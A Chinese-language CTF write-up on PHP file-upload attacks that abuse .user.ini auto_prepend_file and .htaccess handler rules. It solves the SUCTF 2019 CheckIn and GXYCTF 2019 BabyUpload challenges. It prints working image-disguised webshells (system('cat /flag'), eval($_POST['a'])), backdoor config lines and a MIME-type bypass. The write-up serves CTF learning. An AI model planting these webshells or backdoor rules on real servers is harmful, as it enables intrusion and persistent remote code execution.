文件上传漏洞(.user.ini和.htaccess )
一 、user.ini
.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。实际上,除了PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。
和php.ini不同的是,.user.ini是一个能被动态加载的ini文件。也就是说我修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。
我们可以很容易地借助.user.ini文件来构造一个“后门”。auto_append_file、auto_prepend_file
auto_prepend_file=01.gif
01.gif是要包含的文件。
所以,我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。
例题:[SUCTF 2019]CheckIn
1.测试发现:
服务器为nginx
文件内容不能包含<?
php的exif_imagetype()
函数,添加图片文件头GIF89a就可以了
2.看过.user.ini
的分析后我们的思路应该比较清晰了,我们可以上传一个这样的.user.ini
:
GIF89a
auto_prepend_file=a.jpg
3.此时我们注意到上传目录下还有一个index.php,我们正好需要该目录下有一个可执行php文件,那这简直暴露了考点就是.user.ini
,看来这个思路应该是可行的
然后再上传一个这样的图片马a.jpg:
GIF89a
<script language='php'>system('cat /flag');</script>
最后,我们访问http://9f26d33b-a50f-44fd-8485-c2721470c2a1.node3.buuoj.cn/uploads/e2e7ec165ba05a5e1f3198caa7e22b54/index.php
即可得到flag
二 、.htaccess
1.一般.htaccess可以用来留后门和针对黑名单绕过
创建一个txt写入
AddType application/x-httpd-php
让所有文件解析为php
2.留后门 可以在.htaccess 加入php解析规则
类似于把文件名包含1的解析成php
<FilesMatch "1">
SetHandler application/x-httpd-php
</FilesMatch>
12345.png 就会以php执行
例题:[GXYCTF2019]BabyUpload
1.文件类型绕过:
Content-Type: image/jpeg
2.首先上传一个.htaccess内容如下的文件
SetHandler application/x-httpd-php
3.文件名后缀不能是 ph 开头,文件内容过滤<?
上传这样的图片马:
GIF89a?
<script language="php">eval($_POST['a']);</script>
4.上蚁剑